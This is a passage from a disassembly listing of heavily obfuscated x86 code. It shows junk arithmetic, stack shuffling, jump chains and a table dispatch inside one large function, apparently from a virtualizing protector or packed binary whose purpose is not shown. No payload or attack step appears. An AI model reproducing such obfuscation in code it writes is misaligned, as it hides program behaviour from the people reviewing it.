loc_59401A:				; CODE XREF: sub_581EE9+1C434j
		push	eax
		jmp	loc_5A3673
; ---------------------------------------------------------------------------


loc_594020:				; CODE XREF: sub_581EE9+20A00j
		mov	edx, 2
		jmp	loc_5A1E80
; ---------------------------------------------------------------------------


loc_59402A:				; CODE XREF: sub_581EE9+215F2j
		not	esi
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		push	esi
		jmp	loc_5937C0
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E76h+arg_6E6E]
		jmp	loc_5A60DC
; ---------------------------------------------------------------------------


loc_594041:				; CODE XREF: sub_581EE9+1B40Cj
		sub	eax, 30F5F1Eh
		sub	ecx, eax
		pop	eax
		add	edx, ecx
		push	[esp-6E7Ah+arg_6E72]
		pop	ecx
		jmp	loc_5957C2
; ---------------------------------------------------------------------------


loc_594054:				; CODE XREF: sub_581EE9+234E6j
		pop	edx
		push	ecx
		mov	ch, 0D8h
		push	edx
		push	ecx
		mov	cl, 1Fh
		push	eax
		jmp	loc_5A4E08
; ---------------------------------------------------------------------------


loc_594062:				; CODE XREF: sub_581EE9+1297Ej
		and	eax, 286A4A88h
		add	eax, 48D010A4h
		mov	edi, eax
		pop	eax
		xor	edi, 642B02B2h
		dec	edi
		not	edi
		shl	edi, 2
		or	edi, 6AE71F9Ah
		add	edi, 47FB413Dh
		sub	edi, 15022988h
		sub	ebp, 2FB44848h
		add	ebp, edi
		add	ebp, 2FB44848h
		pop	edi
		jmp	loc_599C04
; ---------------------------------------------------------------------------


loc_5940A1:				; CODE XREF: sub_581EE9+125AFj
		and	ch, 13h
		xor	ch, 9
		jmp	loc_596EDD
; ---------------------------------------------------------------------------


loc_5940AC:				; CODE XREF: sub_581EE9+14E41j
		mov	ebx, 44A335Ah
		mov	ecx, 30439586h
		jmp	loc_59ABCB
; ---------------------------------------------------------------------------


loc_5940BB:				; CODE XREF: sub_581EE9+1E9C8j
		mov	eax, 44A9010Eh
		and	eax, 253106BBh
		shl	eax, 2
		jmp	loc_597618
; ---------------------------------------------------------------------------


loc_5940CD:				; CODE XREF: sub_581EE9+14004j
		push	14A2h
		mov	[esp-6E72h+arg_6E68+2],	eax
		mov	eax, 6ECB1AC8h
		add	ecx, eax
		mov	eax, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		push	edx
		mov	edx, 7CB33EDh
		add	ecx, edx
		pop	edx
		add	ecx, edi
		push	eax
		jmp	loc_59B7BA
; ---------------------------------------------------------------------------


loc_5940F6:				; CODE XREF: sub_581EE9+24645j
		pop	eax
		not	ecx
		jmp	loc_5A59DA
; ---------------------------------------------------------------------------


loc_5940FE:				; CODE XREF: sub_581EE9+166EEj
		push	edi
		push	4
		pop	edi
		add	edx, edi
		push	[esp-6E72h+arg_6E68+2]
		pop	edi
		add	esp, 4
		jmp	loc_5A31B7
; ---------------------------------------------------------------------------


loc_594113:				; CODE XREF: sub_581EE9+1F9CEj
		push	ecx
		push	60CEh
		mov	[esp-6E6Eh+arg_6E64+2],	esp
		jmp	loc_59B9D2
; ---------------------------------------------------------------------------


loc_594121:				; CODE XREF: sub_581EE9+23C89j
		add	esi, 0A2E15693h
		jmp	loc_59B241
; ---------------------------------------------------------------------------


loc_59412C:				; CODE XREF: sub_581EE9+192CEj
		xor	ecx, 2DBE33C1h
		add	ecx, 7292C2Ch
		jmp	loc_592910
; ---------------------------------------------------------------------------


loc_59413D:				; CODE XREF: sub_581EE9+15555j
		pop	edi
		jmp	loc_598B7A
; ---------------------------------------------------------------------------


loc_594143:				; CODE XREF: sub_581EE9+24EB3j
		mov	[esp-6E72h+arg_6E68+2],	edx
		sub	esp, 4
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	esp
		add	[esp-6E6Ah+arg_6E60+2],	4
		pop	[esp-6E6Ah+arg_6E60+2]
		push	edx
		mov	edx, 4
		add	[esp-6E6Ah+arg_6E64+2],	edx
		jmp	loc_5A2799
; ---------------------------------------------------------------------------


loc_59416E:				; CODE XREF: sub_581EE9+1F908j
		xor	ebp, 1DFC6565h
		push	edx
		jmp	loc_5A0466
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E66h+arg_6E5C+2]
		jmp	loc_59DCF2
; ---------------------------------------------------------------------------


loc_594183:				; CODE XREF: sub_581EE9+1D7E4j
		or	edi, 6FC067F3h
		jmp	loc_599369
; ---------------------------------------------------------------------------


loc_59418E:				; CODE XREF: sub_581EE9+109DBj
		add	esp, 4
		jmp	loc_59CB67
; ---------------------------------------------------------------------------
		push	[esp-6EC8h+arg_6EBE+2]
		jmp	loc_5A69DB
; ---------------------------------------------------------------------------


loc_5941A1:				; CODE XREF: sub_581EE9+12418j
		mov	edx, 4B540754h
		xor	esi, edx
		pop	edx
		add	edx, esi
		jmp	loc_59EA3A
; ---------------------------------------------------------------------------


loc_5941B0:				; CODE XREF: sub_581EE9+12AACj
		sub	esi, 4674450h
		jmp	loc_5A6E67
; ---------------------------------------------------------------------------


loc_5941BB:				; CODE XREF: sub_581EE9+1DB66j
		push	7D31h
		mov	[esp-6EC4h+arg_6EBA+2],	ecx
		mov	ecx, 4
		add	[esp-6EC4h+arg_6EBE+2],	ecx
		mov	ecx, [esp-6EC4h+arg_6EBA+2]
		jmp	loc_5A6AE4
; ---------------------------------------------------------------------------


loc_5941D4:				; CODE XREF: sub_581EE9+22E36j
		add	edi, 61516172h
		add	edx, edi
		mov	edi, [esp-6EC4h+arg_6EBA+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	edx
		push	[esp-6EC4h+arg_6EBE+2]
		pop	edx
		pop	[esp-6EC4h+arg_6EBA+2]
		mov	esp, [esp-6EC8h+arg_6EBE+2]
		add	edx, 4
		xchg	edx, [esp-6EC8h+arg_6EBE+2]
		mov	esp, [esp-6EC8h+arg_6EBE+2]
		bt	[esp-6EC8h+arg_6EBE+2],	eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59420A:				; CODE XREF: sub_581EE9+10F50j
		push	ecx
		mov	cx, 7E67h
		shl	cx, 5
		dec	cx
		sub	cx, 77E9h
		xor	cx, 25BAh
		sub	di, cx
		pop	ecx
		push	esi
		mov	si, 4AD7h
		inc	si
		add	si, 57E2h
		shr	si, 6
		add	si, 2750h
		sub	di, si
		mov	esi, [esp-6E5Eh+arg_6E54+2]
		jmp	loc_5965E4
; ---------------------------------------------------------------------------


loc_594243:				; CODE XREF: sub_581EE9+1C048j
		push	580Eh
		mov	[esp-6E5Ah+arg_6E50+2],	edi
		jmp	loc_5A2E6C
; ---------------------------------------------------------------------------


loc_594250:				; CODE XREF: sub_581EE9+1B98Cj
		mov	cx, word ptr [esp-6E5Ah+arg_6E50+2]
		add	esp, 2
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E7Eh+arg_6E76]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59ABF1
; ---------------------------------------------------------------------------


loc_594271:				; CODE XREF: sub_581EE9+1F8D3j
		push	edx
		jmp	loc_59915D
; ---------------------------------------------------------------------------


loc_594277:				; CODE XREF: sub_581EE9+1F758j
		add	cl, dl
		pop	edx
		add	al, cl
		mov	ecx, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		push	edx
		mov	dh, 5Eh
		and	dh, 57h
		jmp	loc_59BE08
; ---------------------------------------------------------------------------


loc_594290:				; CODE XREF: sub_581EE9+23B0Bj
		mov	esi, esp
		jmp	loc_598ED2
; ---------------------------------------------------------------------------


loc_594297:				; CODE XREF: sub_581EE9+1F27Cj
		push	[esp-6E7Ah+arg_6E72]
		pop	ecx
		add	esp, 4
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5942A3:				; CODE XREF: sub_581EE9+2010Fj
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp-6E7Eh+arg_6E76]
		pop	esp
		push	55DFh
		jmp	loc_5A1E61
; ---------------------------------------------------------------------------


loc_5942C1:				; CODE XREF: sub_581EE9+2343Aj
		push	edx
		jmp	loc_5A27B7
; ---------------------------------------------------------------------------


loc_5942C7:				; CODE XREF: sub_581EE9+23CF7j
		xor	esi, 0C7043A19h
		add	ebx, esi
		pop	esi
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_59A697
; ---------------------------------------------------------------------------


loc_5942DE:				; CODE XREF: sub_581EE9+1305Dj
		mov	[esp-6E7Eh+arg_6E76], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_5A0650
; ---------------------------------------------------------------------------


loc_5942EE:				; CODE XREF: sub_581EE9+1617Aj
		and	esi, 23F27104h
		sub	esi, 1
		add	esi, 180A35DDh
		push	edx
		jmp	loc_5941A1
; ---------------------------------------------------------------------------


loc_594306:				; CODE XREF: sub_581EE9+16A70j
		inc	ah
		add	ah, 9Fh
		xor	ch, ah
		pop	eax
		add	dl, ch
		jmp	loc_5A4BC9
; ---------------------------------------------------------------------------


loc_594315:				; CODE XREF: sub_581EE9+1EBDFj
		sub	eax, ebp
		jmp	loc_5A57C7
; ---------------------------------------------------------------------------


loc_59431C:				; CODE XREF: sub_581EE9+115CDj
		push	edx
		mov	dl, 0
		xor	dl, 90h
		sub	bl, dl
		pop	edx
		push	ecx
		mov	ch, 0EAh
		jmp	loc_5A6640
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E66h+arg_6E5C+2]
		jmp	loc_59564A
; ---------------------------------------------------------------------------


loc_594336:				; CODE XREF: sub_581EE9+11AA4j
		push	esi
		push	ebx
		jmp	loc_5991D3
; ---------------------------------------------------------------------------


loc_59433D:				; CODE XREF: sub_581EE9+13EFFj
		mov	esi, 52CC53CFh
		add	edx, 11514A51h
		sub	edx, esi
		sub	edx, 11514A51h
		jmp	loc_5A3A7A
; ---------------------------------------------------------------------------


loc_594355:				; CODE XREF: sub_581EE9+24AB2j
		push	edx
		jmp	loc_5A15AD
; ---------------------------------------------------------------------------


loc_59435B:				; CODE XREF: sub_581EE9+17A50j
		add	esi, 971652D9h
		jmp	loc_5A5C37
; ---------------------------------------------------------------------------


loc_594366:				; CODE XREF: sub_581EE9+2440Bj
		push	eax
		mov	eax, 4
		push	ebp
		jmp	loc_59FA54
; ---------------------------------------------------------------------------


loc_594372:				; CODE XREF: sub_581EE9+166D2j
		mov	dh, al
		jmp	loc_5A6990
; ---------------------------------------------------------------------------


loc_594379:				; CODE XREF: sub_581EE9+1D4B8j
		mov	edi, [esp-6E98h+arg_6E8E+2]
		jmp	loc_5955EC
; ---------------------------------------------------------------------------


loc_594381:				; CODE XREF: sub_581EE9+2487Cj
		inc	ebp
		jmp	loc_59D033
; ---------------------------------------------------------------------------


loc_594387:				; CODE XREF: sub_581EE9+24F51j
		not	edx
		shr	edx, 8
		add	edx, 67AD6A20h
		sub	edx, 42AFB5DEh
		sub	eax, edx
		pop	edx
		add	eax, 2E34C3Ah
		push	[esp-6E9Ch+arg_6E92+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5987C9
; ---------------------------------------------------------------------------


loc_5943AF:				; CODE XREF: sub_581EE9+11F2Dj
		inc	edx
		jmp	loc_5A037A
; ---------------------------------------------------------------------------


loc_5943B5:				; CODE XREF: sub_581EE9+1DA84j
		dec	eax
		jmp	loc_59A827
; ---------------------------------------------------------------------------


loc_5943BB:				; CODE XREF: sub_581EE9+15739j
		neg	eax
		sub	eax, 0C679378Dh
		xor	esi, eax
		pop	eax
		not	esi
		jmp	loc_5A3132
; ---------------------------------------------------------------------------


loc_5943CC:				; CODE XREF: sub_581EE9+191D4j
		pop	[esp-6E9Ah+arg_6E92]
		jmp	loc_5A3E5A
; ---------------------------------------------------------------------------


loc_5943D4:				; CODE XREF: sub_581EE9+1803Aj
		push	edx
		mov	edx, 86000Ch
		jmp	loc_596676
; ---------------------------------------------------------------------------


loc_5943DF:				; CODE XREF: sub_581EE9+13BFAj
		pop	ecx
		movzx	eax, al
		mov	dx, word ptr [esp-6E9Eh+arg_6E96]
		jmp	loc_59B4AE
; ---------------------------------------------------------------------------


loc_5943EC:				; CODE XREF: sub_581EE9+1F88Fj
		push	ebp
		mov	ebp, 8BA6ED7h
		sub	ebp, 8BA6ED3h
		add	ebx, ebp
		push	[esp-6E9Ah+arg_6E92]
		mov	ebp, [esp-6E96h+arg_6E8E]
		add	esp, 4
		add	esp, 4
		sub	ebx, 4
		xor	ebx, [esp-6E9Eh+arg_6E96]
		xor	[esp-6E9Eh+arg_6E96], ebx
		jmp	loc_594909
; ---------------------------------------------------------------------------


loc_594414:				; CODE XREF: sub_581EE9+21628j
		pop	esi
		push	edx
		jmp	loc_5958A7
; ---------------------------------------------------------------------------


loc_59441B:				; CODE XREF: sub_581EE9+172A2j
		add	esp, 4
		push	ebx
		push	ebp
		push	6C0A313Ch
		pop	ebp
		dec	ebp
		add	ebp, 0FFFFFFFFh
		push	edi
		mov	edi, 65F90CF5h
		xor	edi, 3278426Eh
		jmp	loc_596171
; ---------------------------------------------------------------------------


loc_59443E:				; CODE XREF: sub_581EE9+1FBCBj
		add	esp, 4
		add	esi, 2CD5212Ch
		add	esi, ecx
		sub	esi, 2CD5212Ch
		mov	ecx, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E9Ah+arg_6E92], ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_598C33
; ---------------------------------------------------------------------------


loc_59446A:				; CODE XREF: sub_581EE9+10339j
		add	esi, ecx
		push	ebp
		mov	ebp, 7A923BF3h
		and	ebp, 13736C1Ah
		shr	ebp, 1
		inc	ebp
		or	ebp, 74B243AFh
		dec	ebp
		jmp	loc_591FAB
; ---------------------------------------------------------------------------


loc_594487:				; CODE XREF: sub_581EE9+1CE25j
		xor	dl, ch
		pop	cx
		shl	dl, 2
		push	ecx
		mov	ch, 6Fh
		inc	ch
		dec	ch
		xor	ch, 94h
		jmp	loc_5940A1
; ---------------------------------------------------------------------------


loc_59449D:				; CODE XREF: sub_581EE9+22608j
		not	bh
		neg	bh
		sub	bh, 0CFh
		xor	dh, bh
		jmp	loc_59932E
; ---------------------------------------------------------------------------


loc_5944AB:				; CODE XREF: sub_581EE9+15DD6j
		push	eax
		mov	eax, 3A2B4DDFh
		shl	eax, 2
		sub	eax, 0E8AD3778h
		add	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp-6E9Eh+arg_6E96], edi
		sub	esp, 4
		mov	[esp-6E9Ah+arg_6E92], esi
		jmp	loc_5A3E06
; ---------------------------------------------------------------------------


loc_5944D0:				; CODE XREF: sub_581EE9+22103j
		pop	edx
		jmp	loc_597C74
; ---------------------------------------------------------------------------


loc_5944D6:				; CODE XREF: sub_581EE9+18EB3j
		push	ebx
		mov	ebx, 51178064h
		add	edx, ebx
		jmp	loc_5A5E87
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E9Ah+arg_6E92]
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp-6E92h+arg_6E8A], ebx
		sub	esp, 4
		mov	[esp-6E8Eh+arg_6E84+2],	ebp
		mov	ebp, 3CCC6378h
		xor	ebp, 9587327h
		shr	ebp, 2
		push	edi
		mov	edi, 66581AF0h
		sub	edi, 5D93527Ch
		xor	edi, 2C746A5Bh
		shr	edi, 5
		add	edi, 0C3F7F02h
		sub	ebp, edi
		jmp	loc_59583F
; ---------------------------------------------------------------------------


loc_594526:				; CODE XREF: sub_581EE9+20575j
		push	4E076143h
		pop	ecx
		mov	esi, ecx
		jmp	loc_59E28A
; ---------------------------------------------------------------------------


loc_594533:				; CODE XREF: sub_581EE9+24334j
		pop	edx
		pop	[esp-6E8Eh+arg_6E84+2]
		mov	esp, [esp-6E92h+arg_6E8A]
		add	eax, 53310945h
		push	small word ptr [eax]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_594547:				; CODE XREF: sub_581EE9+205AEj
		pop	ebp
		jmp	loc_594DE7
; ---------------------------------------------------------------------------


loc_59454D:				; CODE XREF: sub_581EE9+1F910j
		xchg	eax, [esp-6E94h+arg_6E8A+2]
		mov	esp, [esp-6E94h+arg_6E8A+2]
		mov	[esp-6E94h+arg_6E8A+2],	ebx
		push	21DFh
		mov	[esp+0], edx
		push	704C2A33h
		jmp	loc_59A954
; ---------------------------------------------------------------------------


loc_594568:				; CODE XREF: sub_581EE9+13323j
		add	ebp, 4
		xchg	ebp, [esp-6E8Ch+arg_6E84]
		pop	esp
		push	10FAh
		jmp	loc_59FDBA
; ---------------------------------------------------------------------------


loc_594579:				; CODE XREF: sub_581EE9+16600j
		add	ebp, edx
		add	ebp, 45537358h
		pop	edx
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		push	1892h
		mov	[esp], edi
		push	5381h
		mov	[esp-6E88h+arg_6E80], esp
		push	ebp
		mov	ebp, 4
		add	[esp-6E84h+arg_6E80], ebp
		pop	ebp
		mov	edi, [esp-6E88h+arg_6E80]
		add	esp, 4
		push	esi
		push	eax
		mov	eax, 4
		mov	esi, eax
		pop	eax
		jmp	loc_599241
; ---------------------------------------------------------------------------


loc_5945B8:				; CODE XREF: sub_581EE9+13EB6j
		sub	esi, ebx
		sub	esi, 6653E07h
		mov	ebx, [esp-6E88h+arg_6E80]
		add	esp, 4
		add	ebp, esi
		push	[esp-6E8Ch+arg_6E84]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6E88h+arg_6E80]
		pop	esp
		add	ebp, 4
		push	ebp
		push	[esp-6E88h+arg_6E84]
		jmp	loc_5979C6
; ---------------------------------------------------------------------------


loc_5945E9:				; CODE XREF: sub_581EE9+17289j
		xor	eax, 223C1C3Eh
		or	eax, 161938F4h
		add	eax, 1466D20h
		sub	eax, 1763EC1Ah
		mov	edi, eax
		jmp	loc_597FA9
; ---------------------------------------------------------------------------


loc_594604:				; CODE XREF: sub_581EE9+16DB3j
		add	esp, 4
		jmp	loc_5A1824
; ---------------------------------------------------------------------------


loc_59460F:				; CODE XREF: sub_581EE9+1ED22j
		xor	[ebx], ebp
		pop	ebx
		push	[esp-6E8Ch+arg_6E84]
		mov	ebp, [esp-6E88h+arg_6E80]
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp-6E84h+arg_6E7C], esp
		add	[esp-6E84h+arg_6E7C], 4
		mov	ecx, [esp-6E84h+arg_6E7C]
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp-6E88h+arg_6E80]
		xor	[esp-6E88h+arg_6E80], ecx
		xor	ecx, [esp-6E88h+arg_6E80]
		pop	esp
		mov	[esp-6E8Ch+arg_6E84], ecx
		jmp	loc_59D6F8
; ---------------------------------------------------------------------------


loc_59464D:				; CODE XREF: sub_581EE9+1437Cj
		mov	cl, ah
		pop	eax
		mov	[edi+eax*4+1], cl
		jmp	loc_59EA51
; ---------------------------------------------------------------------------


loc_594659:				; CODE XREF: sub_581EE9+15985j
		push	ebp
		mov	ebp, 6581102Ah
		mov	eax, 9A7EEFDAh
		add	eax, ebp
		jmp	loc_5A4DD1
; ---------------------------------------------------------------------------


loc_59466B:				; CODE XREF: sub_581EE9+11088j
		push	eax
		pushf
		jmp	loc_5A1214
; ---------------------------------------------------------------------------


loc_594672:				; CODE XREF: sub_581EE9+1F989j
		mov	[esp-6E5Eh+arg_6E54+2],	ecx
		jmp	loc_59512C
; ---------------------------------------------------------------------------


loc_59467A:				; CODE XREF: sub_581EE9+17C55j
		pop	ebx
		jmp	loc_598657
; ---------------------------------------------------------------------------


loc_594680:				; CODE XREF: sub_581EE9+12F72j
		sub	[esp-6E62h+arg_6E58+2],	ebx
		sub	[esp-6E62h+arg_6E58+2],	39146643h
		pop	ebx
		jmp	loc_59676C
; ---------------------------------------------------------------------------


loc_594690:				; CODE XREF: sub_581EE9+1CAB2j
		pop	edi
		push	edx
		jmp	loc_5947D0
; ---------------------------------------------------------------------------


loc_594697:				; CODE XREF: sub_581EE9+108F9j
		push	[esp-6EB0h+arg_6EAC]
		pop	eax
		pop	[esp-6EB0h+arg_6EA8]
		mov	esp, [esp-6EB4h+arg_6EAC]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp-6EACh+arg_6EA4], edx
		mov	edx, 66001E74h
		jmp	loc_5A33EC
; ---------------------------------------------------------------------------


loc_5946B5:				; CODE XREF: sub_581EE9+1D4C0j
		push	ecx
		push	ebp
		mov	ebp, 5C5E15CEh
		jmp	loc_59FAC5
; ---------------------------------------------------------------------------


loc_5946C1:				; CODE XREF: sub_581EE9+17995j
		pop	esi
		xchg	eax, esi
		jmp	loc_59C90E
; ---------------------------------------------------------------------------


loc_5946C8:				; CODE XREF: sub_581EE9+11B31j
		add	ecx, 4
		push	ecx
		jmp	loc_59350C
; ---------------------------------------------------------------------------


loc_5946D4:				; CODE XREF: sub_581EE9+19ACBj
		xchg	edi, [esp]
		pop	esp
		push	eax
		push	ecx
		push	26FA31BFh
		mov	ecx, [esp-6E84h+arg_6E7C]
		add	esp, 4
		not	ecx
		shr	ecx, 6
		push	ebp
		mov	ebp, 145866F7h
		add	ebp, 1
		push	esi
		mov	esi, 3FB50AE7h
		or	ebp, esi
		jmp	loc_59A91E
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E80h+arg_6E76+2]
		jmp	loc_596BE8
; ---------------------------------------------------------------------------


loc_594709:				; CODE XREF: sub_581EE9+17FFFj
		push	small 4DFDh
		mov	word ptr [esp-6E7Eh+arg_6E76], dx
		jmp	loc_595A45
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E7Eh+arg_6E76]
		push	ebx
		jmp	loc_5A0127
; ---------------------------------------------------------------------------


loc_594720:				; CODE XREF: sub_581EE9+249D5j
		xor	edi, 6F1E089Ah
		add	edi, 0BE9655BFh
		add	esi, edi
		jmp	loc_592043
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	[esp-6E76h+arg_6E6E]
		jmp	loc_59D787
; ---------------------------------------------------------------------------


loc_59473E:				; CODE XREF: sub_581EE9+1B668j
		push	ebx
		jmp	loc_599F3B
; ---------------------------------------------------------------------------


loc_594744:				; CODE XREF: sub_581EE9+1161Ej
		add	eax, ebx
		sub	eax, 1CDB1BC9h
		push	ecx
		mov	ecx, 0ADF1CFAh
		add	eax, ecx
		mov	ecx, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		push	3DB9h
		jmp	loc_59EBA0
; ---------------------------------------------------------------------------


loc_594766:				; CODE XREF: sub_581EE9+17FF3j
		sub	ebp, ebx
		pop	ebx
		push	5D1Bh
		mov	[esp-6E6Eh+arg_6E64+2],	eax
		push	esi
		mov	esi, 363C73CAh
		mov	eax, 7B9BACE2h
		sub	eax, esi
		jmp	loc_59E521
; ---------------------------------------------------------------------------


loc_594783:				; CODE XREF: sub_581EE9+15D4Bj
		pop	eax
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	edx
		mov	edx, 0B325FBC7h
		add	ecx, edx
		mov	edx, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		push	edx
		push	ecx
		jmp	loc_593E59
; ---------------------------------------------------------------------------


loc_5947A1:				; CODE XREF: sub_581EE9+195A1j
		add	edx, 4A7063E9h
		mov	edi, [esp-6E66h+arg_6E5C+2]
		add	esp, 4
		jmp	loc_59B6A1
; ---------------------------------------------------------------------------


loc_5947B5:				; CODE XREF: sub_581EE9+1A484j
		add	ebx, 45642E22h
		mov	esi, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		pop	ecx
		xchg	ebx, [esp-6E72h+arg_6E68+2]
		mov	esp, [esp-6E72h+arg_6E68+2]
		mov	fs:[edx], al
		jmp	loc_59C2C0
; ---------------------------------------------------------------------------


loc_5947D0:				; CODE XREF: sub_581EE9+127A9j
		mov	edx, esp
		push	ecx
		jmp	loc_59895E
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 79C14C93h
		add	eax, ebx
		push	61C9h
		jmp	loc_5A4EE1
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E5Eh+arg_6E54+2]
		push	841h
		mov	[esp-6E5Ah+arg_6E50+2],	edi
		push	esp
		jmp	loc_5A2C69
; ---------------------------------------------------------------------------


loc_5947FC:				; CODE XREF: sub_581EE9+250B3j
		mov	edi, 4
		add	ebp, edi
		jmp	loc_595F1C
; ---------------------------------------------------------------------------


loc_594808:				; CODE XREF: sub_581EE9+17446j
		push	ecx
		mov	cl, 5Bh
		neg	cl
		xchg	ah, cl
		not	ah
		xchg	ah, cl
		or	cl, 56h
		shl	cl, 5
		jmp	loc_59FA04
; ---------------------------------------------------------------------------


loc_59481E:				; CODE XREF: sub_581EE9+1E190j
		sub	esi, 23142AC8h
		xor	esi, 62254616h
		jmp	loc_5A3031
; ---------------------------------------------------------------------------


loc_59482F:				; CODE XREF: sub_581EE9+1EA97j
		push	esi
		push	ebp
		mov	ebp, 75DC61B7h
		mov	esi, ebp
		pop	ebp
		or	esi, 6B4F56A8h
		jmp	loc_59F620
; ---------------------------------------------------------------------------


loc_594844:				; CODE XREF: sub_581EE9+2203Cj
		add	eax, esi
		add	eax, 23D5524Ah
		pop	esi
		mov	ebp, [esp-6E52h+arg_6E48+2]
		add	esp, 4
		push	edi
		mov	edi, 55EB4E8Ch
		jmp	loc_59BF80
; ---------------------------------------------------------------------------


loc_594860:				; CODE XREF: sub_581EE9+19E09j
		push	eax
		push	22A10D6Bh
		pop	eax
		jmp	loc_594062
; ---------------------------------------------------------------------------


loc_59486C:				; CODE XREF: sub_581EE9+21A2Dj
		push	esi
		push	esp
		jmp	loc_5A7038
; ---------------------------------------------------------------------------


loc_594873:				; CODE XREF: sub_581EE9+22C5Aj
		mov	ecx, edx
		jmp	loc_5A16B2
; ---------------------------------------------------------------------------


loc_59487A:				; CODE XREF: sub_581EE9+1E254j
		mov	ebx, [esp-6E46h+arg_6E3E]
		jmp	loc_595696
; ---------------------------------------------------------------------------


loc_594882:				; CODE XREF: sub_581EE9+226B1j
		mov	eax, [esp-6E46h+arg_6E3E]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 326B1FA9h
		xor	edi, 85CE66A5h
		add	esi, edi
		mov	edi, [esp-6E4Eh+arg_6E44+2]
		add	esp, 4
		sub	esi, 4
		jmp	loc_592AE5
; ---------------------------------------------------------------------------


loc_5948B3:				; CODE XREF: sub_581EE9+1BBFBj
		mov	edi, 51D32FEBh
		jmp	loc_59F0C9
; ---------------------------------------------------------------------------


loc_5948BD:				; CODE XREF: sub_581EE9+12E64j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-6E4Eh+arg_6E44+2]
		pop	esp
		jmp	loc_5A697B
; ---------------------------------------------------------------------------


loc_5948D2:				; CODE XREF: sub_581EE9+1E385j
		mov	esp, [esp-6E52h+arg_6E48+2]
		mov	word ptr [esp-6E52h+arg_6E48+2], cx
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5948DE:				; CODE XREF: sub_581EE9+1F1C4j
		add	[esp-6E52h+arg_6E4C+2],	103D5823h
		jmp	loc_59206B
; ---------------------------------------------------------------------------


loc_5948EB:				; CODE XREF: sub_581EE9+163B0j
		pop	esp
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5948F1:				; CODE XREF: sub_581EE9+1163Cj
		add	ebx, 4
		xchg	ebx, [esp-6E76h+arg_6E6E]
		pop	esp
		sub	esp, 4
		mov	[esp-6E76h+arg_6E6E], ebp
		jmp	loc_5933B6
; ---------------------------------------------------------------------------


loc_594909:				; CODE XREF: sub_581EE9+12526j
		xor	ebx, [esp-6E9Eh+arg_6E96]
		jmp	loc_598E54
; ---------------------------------------------------------------------------


loc_594911:				; CODE XREF: sub_581EE9+11EE2j
		pop	eax
		jmp	loc_5A5621
; ---------------------------------------------------------------------------


loc_594917:				; CODE XREF: sub_581EE9+18B27j
		push	eax
		push	17F01412h
		push	[esp-6E9Ah+arg_6E92]
		mov	eax, [esp-6E96h+arg_6E8E]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6E92h+arg_6E8A]
		pop	esp
		jmp	loc_59EFE2
; ---------------------------------------------------------------------------


loc_59493B:				; CODE XREF: sub_581EE9+12B19j
		add	edi, ebx
		add	edi, 0B3A4D64h
		add	edi, 64083784h
		push	[esp-6E96h+arg_6E8E]
		pop	ebx
		jmp	loc_5965DC
; ---------------------------------------------------------------------------


loc_594952:				; CODE XREF: sub_581EE9+1B960j
		dec	word ptr [esp-6E96h+arg_6E8E]
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59495C:				; CODE XREF: sub_581EE9+208C9j
		mov	ecx, 5641379Ah
		shr	ecx, 2
		shl	ecx, 8
		or	ecx, 7AD15E96h
		jmp	loc_5985AB
; ---------------------------------------------------------------------------


loc_594972:				; CODE XREF: sub_581EE9+18B7Ej
		push	edx
		mov	edx, 42F4FF04h
		jmp	loc_5A15A3
; ---------------------------------------------------------------------------


loc_59497D:				; CODE XREF: sub_581EE9+21A8Dj
		pop	esi
		push	edx
		mov	edx, 4CCB1882h
		and	edx, 3052491Dh
		jmp	loc_599A0B
; ---------------------------------------------------------------------------


loc_59498F:				; CODE XREF: sub_581EE9+115BFj
		add	esp, 4
		jmp	loc_5941B0
; ---------------------------------------------------------------------------


loc_59499A:				; CODE XREF: sub_581EE9+1C54Cj
		add	edx, 4
		xchg	edx, [esp-6E6Eh+arg_6E64+2]
